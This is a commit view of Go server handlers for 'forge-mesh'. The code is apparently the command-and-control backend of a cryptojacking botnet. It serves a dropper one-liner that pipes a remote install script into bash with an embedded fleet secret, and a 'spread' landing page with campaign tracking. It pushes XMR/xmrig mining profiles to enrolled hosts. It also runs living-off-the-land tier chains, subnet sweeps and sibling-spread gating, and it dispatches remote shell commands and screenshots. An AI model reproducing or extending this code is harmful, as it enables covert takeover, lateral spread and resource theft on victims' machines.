Initial commit: AetherForge Linux (forge-mesh) v0.1.0-dev
Some checks failed
Test / test (push) Has been cancelled

This commit is contained in:
drjones
2026-07-04 09:31:23 +00:00
commit 3678b199d0
154 changed files with 21714 additions and 0 deletions

View File

@@ -0,0 +1,28 @@
package handlers
import (
"encoding/json"
"net/http"
"forge-mesh/internal/auth"
)
// AuthHandlers serves login and WS ticket endpoints.
type AuthHandlers struct {
Tickets *auth.TicketStore
}
func (h *AuthHandlers) WSTicket(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
return
}
ticket, err := h.Tickets.Issue()
if err != nil {
http.Error(w, "ticket error", http.StatusInternalServerError)
return
}
w.Header().Set("Content-Type", "application/json")
_ = json.NewEncoder(w).Encode(map[string]string{"ticket": ticket})
}

View File

@@ -0,0 +1,136 @@
package handlers
import (
"encoding/json"
"fmt"
"net/http"
"strings"
"forge-mesh/internal/alerts"
"forge-mesh/internal/auth"
"forge-mesh/internal/fleet"
)
// CrucibleHandler serves batch terminal endpoints.
type CrucibleHandler struct {
Store *fleet.Store
Hub *fleet.Hub
Crucible *fleet.CrucibleStore
Alerts *alerts.Notifier
OperatorClearance int
}
type batchRequest struct {
Command string `json:"command"`
HostIDs []string `json:"host_ids"`
All bool `json:"all"`
}
func (h *CrucibleHandler) Dispatch(w http.ResponseWriter, r *http.Request) {
if err := fleet.CheckAction(h.OperatorClearance, fleet.ActionCrucible); err != nil {
auth.JSON(w, http.StatusForbidden, map[string]any{"error": err.Error()})
return
}
var req batchRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "bad request", http.StatusBadRequest)
return
}
req.Command = strings.TrimSpace(req.Command)
if req.Command == "" {
http.Error(w, "command required", http.StatusBadRequest)
return
}
hostIDs := req.HostIDs
if req.All || len(hostIDs) == 0 {
hosts, err := h.Store.ListHosts()
if err != nil {
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
for _, host := range hosts {
if host.Status == "online" || host.Status == "mining" {
hostIDs = append(hostIDs, host.ID)
}
}
}
job := h.Crucible.Create(req.Command, hostIDs)
action := mapCommandToAction(req.Command)
for _, hostID := range hostIDs {
host, _ := h.Store.GetHost(hostID)
hostname := hostID
if host != nil {
hostname = host.Hostname
}
if err := fleet.CheckAction(h.OperatorClearance, action); err != nil {
h.Crucible.AddResult(job.ID, fleet.BatchResult{
HostID: hostID, Hostname: hostname,
Status: "denied", Message: err.Error(),
})
continue
}
cmd, err := h.Hub.DispatchCommand(hostID, action, map[string]any{"raw": req.Command})
if err != nil {
h.Crucible.AddResult(job.ID, fleet.BatchResult{
HostID: hostID, Hostname: hostname,
Status: "error", Message: err.Error(),
})
continue
}
h.Crucible.AddResult(job.ID, fleet.BatchResult{
HostID: hostID, Hostname: hostname,
Status: "dispatched", CommandID: cmd.ID,
})
}
h.Crucible.Complete(job.ID, "completed")
if h.Alerts != nil && h.Alerts.Enabled() {
h.Alerts.Send(alerts.CrucibleEvent(job.ID, len(hostIDs), req.Command))
}
_ = h.Store.InsertSeerEvent("", "crucible", fmt.Sprintf(`{"job_id":"%s","command":%q}`, job.ID, req.Command))
auth.JSON(w, http.StatusOK, job)
}
func (h *CrucibleHandler) GetJob(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
job, ok := h.Crucible.Get(id)
if !ok {
http.Error(w, "not found", http.StatusNotFound)
return
}
auth.JSON(w, http.StatusOK, job)
}
func (h *CrucibleHandler) History(w http.ResponseWriter, r *http.Request) {
auth.JSON(w, http.StatusOK, map[string]any{
"jobs": h.Crucible.History(20),
})
}
func mapCommandToAction(cmd string) string {
lower := strings.ToLower(strings.TrimSpace(cmd))
switch {
case strings.HasPrefix(lower, "pause"):
return fleet.ActionPause
case strings.HasPrefix(lower, "resume"):
return fleet.ActionResume
case strings.HasPrefix(lower, "reboot"):
return fleet.ActionReboot
case strings.HasPrefix(lower, "screenshot"):
return fleet.ActionScreenshot
case strings.HasPrefix(lower, "shell"):
return fleet.ActionShell
default:
return fleet.ActionStatus
}
}

View File

@@ -0,0 +1,62 @@
package handlers
import (
"database/sql"
"fmt"
"net/http"
"forge-mesh/internal/auth"
"forge-mesh/internal/forge"
)
// DropperHandler serves the dropper URL and one-liner info to the operator.
type DropperHandler struct {
DB *sql.DB
PublicKeyHex string
FleetSecret string
Version string
}
type DropperInfo struct {
DropperURL string `json:"dropper_url"`
InstallURL string `json:"install_url"`
OneLiner string `json:"one_liner"`
FleetSecret string `json:"fleet_secret"`
PublicKey string `json:"public_key"`
HasBuild bool `json:"has_build"`
Version string `json:"version"`
}
func deckURL(r *http.Request) string {
scheme := "http"
if r.TLS != nil || r.Header.Get("X-Forwarded-Proto") == "https" {
scheme = "https"
}
return fmt.Sprintf("%s://%s", scheme, r.Host)
}
// Info handles GET /api/v1/dropper — returns dropper link, one-liner, and build status.
func (h *DropperHandler) Info(w http.ResponseWriter, r *http.Request) {
base := deckURL(r)
installURL := base + "/install.sh"
dropperURL := base + "/get"
oneLiner := fmt.Sprintf(
"FORGE_MESH_FLEET_SECRET=%s bash <(curl -fsSL %s)",
h.FleetSecret, installURL,
)
// Check whether a public build exists so the UI can warn if not.
_, err := forge.LatestPublic(h.DB, "linux", "amd64")
hasBuild := err == nil
auth.JSON(w, http.StatusOK, DropperInfo{
DropperURL: dropperURL,
InstallURL: installURL,
OneLiner: oneLiner,
FleetSecret: h.FleetSecret,
PublicKey: h.PublicKeyHex,
HasBuild: hasBuild,
Version: h.Version,
})
}

View File

@@ -0,0 +1,532 @@
package handlers
import (
"context"
"database/sql"
"encoding/json"
"fmt"
"net/http"
"strings"
"time"
"forge-mesh/internal/api/types"
"forge-mesh/internal/auth"
"forge-mesh/internal/config"
"forge-mesh/internal/erasure"
"forge-mesh/internal/fleet"
"forge-mesh/internal/policy"
"github.com/google/uuid"
)
// ErasureHandler serves public erasure shard endpoints.
type ErasureHandler struct {
Service *erasure.Service
}
func (h *ErasureHandler) GetBundle(w http.ResponseWriter, r *http.Request) {
bundleID := r.PathValue("bundle_id")
if bundleID == "" {
http.Error(w, "bundle_id required", http.StatusBadRequest)
return
}
bundle, err := h.Service.GetBundle(r.Context(), bundleID)
if err != nil {
if err == sql.ErrNoRows {
http.Error(w, "not found", http.StatusNotFound)
return
}
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
indices, _ := h.Service.ListShards(r.Context(), bundleID)
auth.JSON(w, http.StatusOK, map[string]any{
"bundle": bundle,
"shards": indices,
})
}
func (h *ErasureHandler) GetShard(w http.ResponseWriter, r *http.Request) {
bundleID := r.PathValue("bundle_id")
indexStr := r.PathValue("index")
if bundleID == "" || indexStr == "" {
http.Error(w, "bundle_id and index required", http.StatusBadRequest)
return
}
var index int
if _, err := fmt.Sscanf(indexStr, "%d", &index); err != nil {
http.Error(w, "invalid shard index", http.StatusBadRequest)
return
}
shard, err := h.Service.GetShard(r.Context(), bundleID, index)
if err != nil {
if err == sql.ErrNoRows {
http.Error(w, "not found", http.StatusNotFound)
return
}
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
auth.JSON(w, http.StatusOK, map[string]any{
"bundle_id": shard.BundleID,
"shard_index": shard.ShardIndex,
"hex": shard.Hex,
})
}
// PolicySnapshotHandler serves degraded-agent policy snapshots.
type PolicySnapshotHandler struct {
DB *sql.DB
}
// Create handles POST /api/v1/policy/snapshot (protected).
func (h *PolicySnapshotHandler) Create(w http.ResponseWriter, r *http.Request) {
policy := map[string]any{
"wallet_policy": map[string]string{"currency": "XMR"},
"policy_from_server": true,
"version": "1",
}
raw, _ := json.Marshal(policy)
token := uuid.NewString()
if err := SeedPolicySnapshot(r.Context(), h.DB, token, string(raw)); err != nil {
http.Error(w, "snapshot failed", http.StatusInternalServerError)
return
}
auth.JSON(w, http.StatusOK, map[string]any{
"token": token,
"url": "/api/v1/public/policy-snapshot/" + token,
})
}
func (h *PolicySnapshotHandler) Get(w http.ResponseWriter, r *http.Request) {
token := r.PathValue("token")
if token == "" {
http.Error(w, "token required", http.StatusBadRequest)
return
}
var policyJSON string
var expires sql.NullString
err := h.DB.QueryRowContext(r.Context(), `
SELECT policy_json, expires_at FROM policy_snapshots WHERE token = ?`, token).
Scan(&policyJSON, &expires)
if err != nil {
if err == sql.ErrNoRows {
http.Error(w, "not found", http.StatusNotFound)
return
}
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
if expires.Valid && expires.String != "" {
if t, err := time.Parse("2006-01-02 15:04:05", expires.String); err == nil && time.Now().After(t) {
http.Error(w, "expired", http.StatusGone)
return
}
}
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(http.StatusOK)
w.Write([]byte(policyJSON))
}
// TrackCampaign handles GET /api/v1/public/campaign/track?c=CODE.
func TrackCampaign(db *sql.DB) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
code := r.URL.Query().Get("c")
if code == "" {
http.Error(w, "c required", http.StatusBadRequest)
return
}
trackCampaignHeat(r.Context(), db, code)
auth.JSON(w, http.StatusOK, map[string]any{"code": code, "tracked": true})
}
}
// SpreadLander serves the Emberwake public funnel page with ?c= heat tracking.
func SpreadLander(db *sql.DB) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
campaign := r.URL.Query().Get("c")
if campaign != "" {
trackCampaignHeat(r.Context(), db, campaign)
}
w.Header().Set("Content-Type", "text/html; charset=utf-8")
install := "/install.sh"
if campaign != "" {
install += "?c=" + campaign
}
fmt.Fprintf(w, `<!DOCTYPE html><html><head><title>Forge Mesh Spread</title>
<meta charset="utf-8"><style>body{font-family:system-ui;background:#0a0e14;color:#e6edf3;padding:2rem;max-width:640px;margin:auto}
a{color:#58d1ff}</style></head>
<body><h1>Emberwake Spread</h1><p>Campaign: <strong>%s</strong></p>
<p><a href="%s">Summon enrolled agent</a></p></body></html>`, campaign, install)
}
}
func trackCampaignHeat(ctx context.Context, db *sql.DB, code string) {
if db == nil || code == "" {
return
}
var id string
err := db.QueryRowContext(ctx, `SELECT id FROM campaigns WHERE code = ?`, code).Scan(&id)
if err == sql.ErrNoRows {
_, _ = db.ExecContext(ctx, `INSERT INTO campaigns (id, code, name, heat) VALUES (?, ?, ?, 1)`,
uuid.NewString(), code, code)
return
}
if err == nil {
_, _ = db.ExecContext(ctx, `UPDATE campaigns SET heat = heat + 1 WHERE id = ?`, id)
}
}
// WarRoomHandler serves campaign heat dashboards.
type WarRoomHandler struct {
DB *sql.DB
}
func (h *WarRoomHandler) ListCampaigns(w http.ResponseWriter, r *http.Request) {
rows, err := h.DB.QueryContext(r.Context(), `
SELECT id, code, name, COALESCE(pin,''), heat, created_at
FROM campaigns ORDER BY heat DESC, created_at DESC LIMIT 100`)
if err != nil {
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
defer rows.Close()
var campaigns []types.Campaign
for rows.Next() {
var c types.Campaign
var created string
if err := rows.Scan(&c.ID, &c.Code, &c.Name, &c.Pin, &c.Heat, &created); err != nil {
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
c.CreatedAt, _ = time.Parse("2006-01-02 15:04:05", created)
campaigns = append(campaigns, c)
}
if campaigns == nil {
campaigns = []types.Campaign{}
}
auth.JSON(w, http.StatusOK, map[string]any{"campaigns": campaigns})
}
// WireGuardHandler manages mesh peer records (operator-managed configs).
type WireGuardHandler struct {
DB *sql.DB
}
func (h *WireGuardHandler) ListPeers(w http.ResponseWriter, r *http.Request) {
rows, err := h.DB.QueryContext(r.Context(), `
SELECT id, COALESCE(host_id,''), public_key, COALESCE(endpoint,''), allowed_ips, created_at
FROM wireguard_peers ORDER BY created_at DESC LIMIT 100`)
if err != nil {
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
defer rows.Close()
type peer struct {
ID string `json:"id"`
HostID string `json:"host_id,omitempty"`
PublicKey string `json:"public_key"`
Endpoint string `json:"endpoint,omitempty"`
AllowedIPs string `json:"allowed_ips"`
CreatedAt string `json:"created_at"`
}
var peers []peer
for rows.Next() {
var p peer
if err := rows.Scan(&p.ID, &p.HostID, &p.PublicKey, &p.Endpoint, &p.AllowedIPs, &p.CreatedAt); err != nil {
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
peers = append(peers, p)
}
if peers == nil {
peers = []peer{}
}
auth.JSON(w, http.StatusOK, map[string]any{"peers": peers})
}
func (h *WireGuardHandler) CreatePeer(w http.ResponseWriter, r *http.Request) {
var req struct {
HostID string `json:"host_id"`
PublicKey string `json:"public_key"`
Endpoint string `json:"endpoint"`
AllowedIPs string `json:"allowed_ips"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "bad request", http.StatusBadRequest)
return
}
if req.PublicKey == "" {
http.Error(w, "public_key required", http.StatusBadRequest)
return
}
if req.AllowedIPs == "" {
req.AllowedIPs = "10.66.66.2/32"
}
id := uuid.NewString()
_, err := h.DB.ExecContext(r.Context(), `
INSERT INTO wireguard_peers (id, host_id, public_key, endpoint, allowed_ips)
VALUES (?, ?, ?, ?, ?)`,
id, nullIfEmpty(req.HostID), req.PublicKey, nullIfEmpty(req.Endpoint), req.AllowedIPs)
if err != nil {
http.Error(w, "create failed", http.StatusInternalServerError)
return
}
auth.JSON(w, http.StatusCreated, map[string]any{
"id": id,
"host_id": req.HostID,
"public_key": req.PublicKey,
"endpoint": req.Endpoint,
"allowed_ips": req.AllowedIPs,
})
}
// RenderConfig handles GET /api/v1/wireguard/config — wg-quick template for operators.
func (h *WireGuardHandler) RenderConfig(w http.ResponseWriter, r *http.Request) {
rows, err := h.DB.QueryContext(r.Context(), `
SELECT public_key, COALESCE(endpoint,''), allowed_ips FROM wireguard_peers ORDER BY created_at`)
if err != nil {
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
defer rows.Close()
var buf strings.Builder
buf.WriteString("[Interface]\nPrivateKey = <operator-private-key>\nAddress = 10.66.66.1/24\nListenPort = 51820\n\n")
for rows.Next() {
var pub, endpoint, allowed string
if err := rows.Scan(&pub, &endpoint, &allowed); err != nil {
continue
}
buf.WriteString("[Peer]\n")
fmt.Fprintf(&buf, "PublicKey = %s\n", pub)
if endpoint != "" {
fmt.Fprintf(&buf, "Endpoint = %s\n", endpoint)
}
fmt.Fprintf(&buf, "AllowedIPs = %s\n\n", allowed)
}
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
_, _ = w.Write([]byte(buf.String()))
}
func nullIfEmpty(s string) sql.NullString {
if s == "" {
return sql.NullString{}
}
return sql.NullString{String: s, Valid: true}
}
// LOTLTimeline returns deploy audit entries for a host.
func (h *FleetHandler) LOTLTimeline(w http.ResponseWriter, r *http.Request) {
hostID := r.PathValue("id")
if hostID == "" {
http.Error(w, "host id required", http.StatusBadRequest)
return
}
attempts, err := h.Store.ListLOTL(r.Context(), hostID, 100)
if err != nil {
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
auth.JSON(w, http.StatusOK, map[string]any{
"host_id": hostID,
"timeline": attempts,
})
}
// PushMiningProfile assigns a mining profile to a host.
func (h *FleetHandler) PushMiningProfile(w http.ResponseWriter, r *http.Request) {
hostID := r.PathValue("id")
if hostID == "" {
http.Error(w, "host id required", http.StatusBadRequest)
return
}
var req types.MiningProfileRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "bad request", http.StatusBadRequest)
return
}
if req.WalletAddress == "" {
http.Error(w, "wallet_address required", http.StatusBadRequest)
return
}
profileID := req.ProfileID
if profileID == "" {
profileID = uuid.NewString()
}
name := req.Name
if name == "" {
name = "Fleet mining profile"
}
tiers := req.Tiers
if len(tiers) == 0 {
tiers = policy.DefaultMiningProfile(req.WalletAddress).Tiers
}
profile := &types.MiningProfile{
ID: profileID,
Name: name,
WalletAddress: req.WalletAddress,
Tiers: tiers,
PolicyFromServer: true,
CreatedAt: time.Now().UTC(),
UpdatedAt: time.Now().UTC(),
}
ctx := r.Context()
if err := h.Store.SaveMiningProfile(ctx, profile); err != nil {
http.Error(w, "save profile failed", http.StatusInternalServerError)
return
}
if err := h.Store.AssignMiningProfile(ctx, hostID, profileID); err != nil {
http.Error(w, "assign profile failed", http.StatusNotFound)
return
}
_, _ = h.Hub.DispatchCommand(hostID, "mining_profile", map[string]any{"profile": profile})
auth.JSON(w, http.StatusOK, map[string]any{
"ok": true,
"host_id": hostID,
"profile": profile,
})
}
// HostAction is an alias for fleet command dispatch (plan parity).
func (h *FleetHandler) HostAction(w http.ResponseWriter, r *http.Request) {
h.Command(w, r)
}
// CalibrateProfiles returns default mining tier profiles.
func CalibrateProfiles(cfg *config.Config) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
auth.JSON(w, http.StatusOK, map[string]any{
"profiles": []map[string]any{
{
"id": "default-xmr",
"name": "Default XMR Chain",
"wallet_address": cfg.WalletPolicy.DefaultWallet,
"policy_from_server": true,
"tiers": []map[string]any{
{"type": "oci", "duration_minutes": 5},
{"type": "xmrig", "duration_minutes": 15},
{"type": "gpu", "duration_minutes": 10},
},
},
},
})
}
}
// SeerAPIStream serves GET /api/v1/seer (plan parity alias).
func SeerAPIStream(store *fleet.Store, username, password string) http.HandlerFunc {
h := &SeerHandler{Store: store, Username: username, Password: password}
return h.Stream
}
// SeedPolicySnapshot inserts a test policy snapshot token.
func SeedPolicySnapshot(ctx context.Context, db *sql.DB, token, policyJSON string) error {
_, err := db.ExecContext(ctx, `
INSERT OR REPLACE INTO policy_snapshots (token, policy_json, expires_at)
VALUES (?, ?, datetime('now', '+1 day'))`, token, policyJSON)
return err
}
// SeedCampaign inserts a war-room campaign row.
func SeedCampaign(ctx context.Context, db *sql.DB, code, name string, heat int) error {
_, err := db.ExecContext(ctx, `
INSERT OR REPLACE INTO campaigns (id, code, name, heat)
VALUES (?, ?, ?, ?)`, uuid.NewString(), code, name, heat)
return err
}
// PublicBuildsList lists public build metadata.
func PublicBuildsList(db *sql.DB) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
rows, err := db.QueryContext(r.Context(), `
SELECT id, os, arch, version, checksum, public
FROM builds WHERE public = 1 ORDER BY created_at DESC LIMIT 20`)
if err != nil {
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
defer rows.Close()
type row struct {
ID string `json:"id"`
OS string `json:"os"`
Arch string `json:"arch"`
Version string `json:"version"`
Checksum string `json:"checksum"`
Download string `json:"download_url"`
}
var builds []row
for rows.Next() {
var b row
var pub int
if err := rows.Scan(&b.ID, &b.OS, &b.Arch, &b.Version, &b.Checksum, &pub); err != nil {
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
b.Download = "/api/v1/public/download/" + b.ID
builds = append(builds, b)
}
if builds == nil {
builds = []row{}
}
auth.JSON(w, http.StatusOK, map[string]any{"builds": builds})
}
}
// CrucibleLegacy wraps CrucibleHandler for plan route names.
type CrucibleLegacy struct {
*CrucibleHandler
}
func (c *CrucibleLegacy) Batch(w http.ResponseWriter, r *http.Request) {
c.Dispatch(w, r)
}
func (c *CrucibleLegacy) BatchGet(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
if id == "" {
id = strings.TrimPrefix(r.URL.Path, "/api/v1/crucible/batch/")
}
if id == "" || strings.Contains(id, "/") {
http.Error(w, "batch id required", http.StatusBadRequest)
return
}
job, ok := c.Crucible.Get(id)
if !ok {
http.Error(w, "not found", http.StatusNotFound)
return
}
auth.JSON(w, http.StatusOK, job)
}
func (c *CrucibleLegacy) Exec(w http.ResponseWriter, r *http.Request) {
if err := fleet.CheckAction(c.OperatorClearance, fleet.ActionShell); err != nil {
auth.JSON(w, http.StatusForbidden, map[string]any{"error": err.Error()})
return
}
var req struct {
HostID string `json:"host_id"`
Command string `json:"command"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "bad request", http.StatusBadRequest)
return
}
if req.HostID == "" || req.Command == "" {
http.Error(w, "host_id and command required", http.StatusBadRequest)
return
}
cmd, err := c.Hub.DispatchCommand(req.HostID, fleet.ActionShell, map[string]any{"command": req.Command})
sent := err == nil
auth.JSON(w, http.StatusOK, map[string]any{
"ok": sent, "host_id": req.HostID, "command": req.Command, "dispatch": cmd,
})
}

View File

@@ -0,0 +1,101 @@
package handlers
import (
"encoding/json"
"fmt"
"net/http"
"strings"
"forge-mesh/internal/alerts"
"forge-mesh/internal/auth"
"forge-mesh/internal/config"
"forge-mesh/internal/fleet"
)
// FleetHandler serves fleet REST endpoints.
type FleetHandler struct {
Store *fleet.Store
Hub *fleet.Hub
Alerts *alerts.Notifier
Cfg *config.Config
OperatorClearance int
}
func (h *FleetHandler) List(w http.ResponseWriter, r *http.Request) {
summary, err := h.Store.BuildFleetSummary()
if err != nil {
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
auth.JSON(w, http.StatusOK, summary)
}
type registerRequest struct {
Hostname string `json:"hostname"`
Fingerprint string `json:"fingerprint"`
Arch string `json:"arch"`
}
func (h *FleetHandler) Register(w http.ResponseWriter, r *http.Request) {
var req registerRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "bad request", http.StatusBadRequest)
return
}
if req.Hostname == "" {
req.Hostname = "enrolled-host"
}
host, err := h.Store.TouchHost(req.Hostname, req.Fingerprint, req.Arch)
if err != nil {
http.Error(w, "register failed", http.StatusInternalServerError)
return
}
auth.JSON(w, http.StatusOK, map[string]any{
"ok": true,
"host_id": host.ID,
"host": fleet.ToFleetCard(host),
})
}
func (h *FleetHandler) Command(w http.ResponseWriter, r *http.Request) {
hostID := r.PathValue("id")
if hostID == "" {
http.Error(w, "host id required", http.StatusBadRequest)
return
}
var req struct {
Action string `json:"action"`
Args map[string]any `json:"args"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "bad request", http.StatusBadRequest)
return
}
action := strings.ToLower(req.Action)
if err := fleet.CheckAction(h.OperatorClearance, action); err != nil {
auth.JSON(w, http.StatusForbidden, map[string]any{
"error": err.Error(),
"required_clearance": fleet.RequiredClearanceOrZero(action),
})
return
}
cmd, err := h.Hub.DispatchCommand(hostID, action, req.Args)
if err != nil {
http.Error(w, "dispatch failed", http.StatusInternalServerError)
return
}
if h.Alerts != nil && h.Alerts.Enabled() {
h.Alerts.Send(alerts.FleetEvent(action, hostID, fmt.Sprintf("cmd: `%s`", cmd.ID)))
}
auth.JSON(w, http.StatusOK, map[string]any{
"ok": true,
"command": cmd,
})
}

View File

@@ -0,0 +1,84 @@
package handlers
import (
"database/sql"
"encoding/json"
"net/http"
"forge-mesh/internal/auth"
"forge-mesh/internal/forge"
)
// ForgeHandler manages build artifacts.
type ForgeHandler struct {
DB *sql.DB
Pipeline *forge.Pipeline
Version string
}
func (h *ForgeHandler) ListBuilds(w http.ResponseWriter, r *http.Request) {
rows, err := h.DB.Query(`
SELECT id, os, arch, version, checksum, signature, public, created_at
FROM builds ORDER BY created_at DESC LIMIT 50
`)
if err != nil {
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
defer rows.Close()
type buildRow struct {
ID string `json:"id"`
OS string `json:"os"`
Arch string `json:"arch"`
Version string `json:"version"`
Checksum string `json:"checksum"`
Signature string `json:"signature,omitempty"`
Public bool `json:"public"`
CreatedAt string `json:"created_at"`
}
var builds []buildRow
for rows.Next() {
var b buildRow
var sig sql.NullString
var pub int
if err := rows.Scan(&b.ID, &b.OS, &b.Arch, &b.Version, &b.Checksum, &sig, &pub, &b.CreatedAt); err != nil {
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
b.Public = pub == 1
if sig.Valid {
b.Signature = sig.String
}
builds = append(builds, b)
}
if builds == nil {
builds = []buildRow{}
}
auth.JSON(w, http.StatusOK, map[string]any{"builds": builds})
}
func (h *ForgeHandler) TriggerBuild(w http.ResponseWriter, r *http.Request) {
var req struct {
Public bool `json:"public"`
}
_ = json.NewDecoder(r.Body).Decode(&req)
if !req.Public {
req.Public = true
}
builds, err := h.Pipeline.BuildAll(req.Public)
if err != nil {
auth.JSON(w, http.StatusOK, map[string]any{
"ok": false,
"message": err.Error(),
})
return
}
auth.JSON(w, http.StatusOK, map[string]any{
"ok": true,
"builds": builds,
})
}

View File

@@ -0,0 +1,34 @@
package handlers
import (
"encoding/json"
"net/http"
"time"
)
type HealthResponse struct {
Status string `json:"status"`
Service string `json:"service"`
Version string `json:"version"`
Timestamp string `json:"timestamp"`
}
// Health returns a basic liveness handler for GET /api/v1/health.
func Health(version string) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
return
}
resp := HealthResponse{
Status: "ok",
Service: "forge-mesh-server",
Version: version,
Timestamp: time.Now().UTC().Format(time.RFC3339),
}
w.Header().Set("Content-Type", "application/json")
_ = json.NewEncoder(w).Encode(resp)
}
}

View File

@@ -0,0 +1,29 @@
package handlers
import (
"bytes"
"os"
"path/filepath"
"testing"
"text/template"
)
func TestInstallTemplateExecute(t *testing.T) {
root, _ := filepath.Abs(filepath.Join("..", "..", ".."))
tmplPath := filepath.Join(root, "scripts", "install.sh.tpl")
b, err := os.ReadFile(tmplPath)
if err != nil {
t.Fatal(err)
}
tmpl, err := template.New("install.sh").Parse(string(b))
if err != nil {
t.Fatalf("parse: %v", err)
}
data := installData{
DeckURL: "http://localhost:8989", PublicKey: "abc", FleetSecret: "sec",
}
var buf bytes.Buffer
if err := tmpl.Execute(&buf, data); err != nil {
t.Fatalf("execute: %v", err)
}
}

View File

@@ -0,0 +1,253 @@
package handlers
import (
"encoding/json"
"io"
"net/http"
"strconv"
"forge-mesh/internal/auth"
"forge-mesh/internal/court"
"forge-mesh/internal/erasure"
"forge-mesh/internal/fleet"
)
// IntelligenceDeps bundles triple-onion fleet intelligence handlers.
type IntelligenceDeps struct {
Store *fleet.Store
Subnet *fleet.SubnetMapper
Earn *fleet.EarnGate
}
// RunLOTL handles POST /api/v1/fleet/{id}/lotl/run — execute tier chain with recon.
func RunLOTL(deps IntelligenceDeps) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
hostID := r.PathValue("id")
if hostID == "" {
http.Error(w, "host id required", http.StatusBadRequest)
return
}
strategy := fleet.AdaptiveStrategy{Store: deps.Store}
order, err := strategy.OrderForHost(r.Context(), hostID)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
results, err := fleet.RunTierChain(r.Context(), deps.Store, hostID, order)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
auth.JSON(w, http.StatusOK, map[string]interface{}{
"host_id": hostID,
"order": order,
"results": results,
})
}
}
// ListLOTL handles GET /api/v1/fleet/{id}/lotl.
func ListLOTL(deps IntelligenceDeps) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
hostID := r.PathValue("id")
attempts, err := deps.Store.ListLOTL(r.Context(), hostID, 100)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
auth.JSON(w, http.StatusOK, map[string]interface{}{
"host_id": hostID,
"attempts": attempts,
})
}
}
// SpreadGate handles GET /api/v1/fleet/{id}/spread-gate (earn-before-burn).
func SpreadGate(deps IntelligenceDeps) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
hostID := r.PathValue("id")
dec, err := deps.Earn.CanSpreadToSiblings(r.Context(), hostID)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
auth.JSON(w, http.StatusOK, dec)
}
}
// SubnetList handles GET /api/v1/fleet/subnets.
func SubnetList(deps IntelligenceDeps) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
cidrs, err := deps.Subnet.ListCIDRs(r.Context())
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
auth.JSON(w, http.StatusOK, map[string]interface{}{"cidrs": cidrs})
}
}
// SubnetAdd handles POST /api/v1/fleet/subnets.
func SubnetAdd(deps IntelligenceDeps) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
var req struct {
CIDR string `json:"cidr"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil || req.CIDR == "" {
http.Error(w, "cidr required", http.StatusBadRequest)
return
}
c, err := deps.Subnet.AddCIDR(r.Context(), req.CIDR)
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
auth.JSON(w, http.StatusCreated, c)
}
}
// SubnetSweep handles POST /api/v1/fleet/subnets/sweep.
func SubnetSweep(deps IntelligenceDeps) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
results, err := deps.Subnet.SweepAll(r.Context())
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
auth.JSON(w, http.StatusOK, map[string]interface{}{"results": results})
}
}
// CourtDeps bundles court handler dependencies.
type CourtDeps struct {
Court *court.Court
Seer *court.SeerHub
}
// CourtOpen handles POST /api/v1/court/sessions.
func CourtOpen(deps CourtDeps) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
var req struct {
HostID string `json:"host_id"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil || req.HostID == "" {
http.Error(w, "host_id required", http.StatusBadRequest)
return
}
s, err := deps.Court.OpenSession(r.Context(), req.HostID)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
auth.JSON(w, http.StatusCreated, s)
}
}
// CourtDeliberate handles POST /api/v1/court/sessions/{id}/deliberate.
func CourtDeliberate(deps CourtDeps) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
s, err := deps.Court.Deliberate(r.Context(), id)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
auth.JSON(w, http.StatusOK, s)
}
}
